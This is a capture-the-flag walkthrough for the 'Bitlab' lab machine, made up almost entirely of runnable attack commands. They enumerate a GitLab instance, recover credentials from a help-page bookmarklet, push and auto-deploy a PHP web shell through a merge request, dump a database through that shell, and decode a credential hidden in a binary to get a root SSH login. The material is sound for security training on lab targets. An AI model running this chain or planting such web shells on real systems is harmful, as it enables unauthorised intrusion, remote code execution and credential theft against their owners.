Bitlab

Service version scan; identifies OpenSSH 7.6p1 and nginx.

$ nmap -Pn -sV -p 22,80 $TARGET

Follow redirect to /users/sign_in; page title and generator meta tag confirm GitLab CE.

$ curl -si http://$TARGET/

Unauthenticated API call; returns all visible projects including root/profile (id=2).

$ curl -s http://$TARGET/api/v4/projects | python3 -m json.tool

Retrieve the help page; inspect HTML for bookmarklet <a> elements with javascript: hrefs.

$ curl -s http://$TARGET/help/bookmarks.html

URL-decode the bookmarklet href to reveal the embedded username and password in the JavaScript literal.

$ python3 -c "import urllib.parse; print(urllib.parse.unquote('<paste-bookmarklet-href-here>'))"

Clone the auto-deployed repository with recovered credentials.

$ git clone http://$USERNAME:$PASSWORD6@$TARGET/root/profile.git /tmp/profile

Create a timestamped branch to avoid collisions; push the PHP web shell.

$ cd /tmp/profile && BRANCH=shell$(date +%s) && git checkout -b $BRANCH && echo '<?php system($_GET["cmd"]); ?>' > ${BRANCH}.php && git add . && git commit -m 'update' && git push origin $BRANCH

Open MR targeting master; replace <csrf_token> with the value scraped from the /root/profile/merge_requests/new page.

$ # Scrape CSRF token from an authenticated GitLab page, then open the MR:
curl -sS -b cookies.txt -c cookies.txt -X POST http://$TARGET/root/profile/merge_requests \
  -d 'merge_request[source_branch]=<branch>&merge_request[target_branch]=master&authenticity_token=<csrf_token>'

Merge the MR via REST API; triggers auto-deployment of the web shell to /var/www/html/profile/.

$ curl -sS -b cookies.txt -X PUT http://$TARGET/api/v4/projects/2/merge_requests/<iid>/merge

Verify RCE — should return uid=33(www-data).

$ curl -sS --get --data-urlencode 'cmd=id' http://$TARGET/profile/shell<ts>.php

Read the authenticated GitLab snippet; the response contains the Postgres connection string in plaintext.

$ curl -sS -b cookies.txt http://$TARGET/snippets/1/raw

Execute a PHP DB query through the web shell; outputs the <withheld> table including clave's plaintext password.

$ curl -sS --get --data-urlencode 'cmd=php -r '\''$db=pg_connect("host=localhost dbname='"$PASSWORD7"' user='"$PASSWORD7"' password='"$PASSWORD7"'"); $r=pg_query($db,"SELECT * FROM '"$PASSWORD7"'"); while($row=pg_fetch_assoc($r)) print_r($row);'\''' http://$TARGET/profile/shell<ts>.php

Use the raw, undecoded database string as the SSH password. Outputs <user.txt>.

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password clave@$TARGET 'id; cat /home/clave/user.txt'
uid=1000(clave) gid=1000(clave) groups=1000(clave)

Exfiltrate the binary to my machine for offline analysis.

$ sshpass -p "$PASSWORD2" scp -o StrictHostKeyChecking=no clave@$TARGET:/home/clave/RemoteConnection.exe /tmp/RemoteConnection.exe

Dump all strings including wide/unicode; locate the obfuscated credential blob starting with <withheld>.

$ rabin2 -zz /tmp/RemoteConnection.exe | grep -iE 'pass|cred|user'

Disassemble the two decode functions; identify the XOR key and byte-manipulation logic used on the blob.

$ r2 -A -c 'pdf @ fcn.00401520; pdf @ fcn.004018f0' /tmp/RemoteConnection.exe 2>/dev/null | head -120

Replay the XOR decode; substitute the actual blob bytes and key constant observed in the disassembly.

$ python3 - <<'EOF'
blob = bytes.fromhex('<hex-encoded-blob-from-rabin2-output>')
key = 0x50  # substitute actual XOR key from r2 disassembly
decoded = bytes([b ^ key for b in blob])
print(decoded.decode('utf-8', errors='replace'))
EOF

Direct root login using the credential recovered from the binary. Outputs <root.txt>.

$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password root@$TARGET 'id; hostname; cat /root/root.txt'
uid=0(root)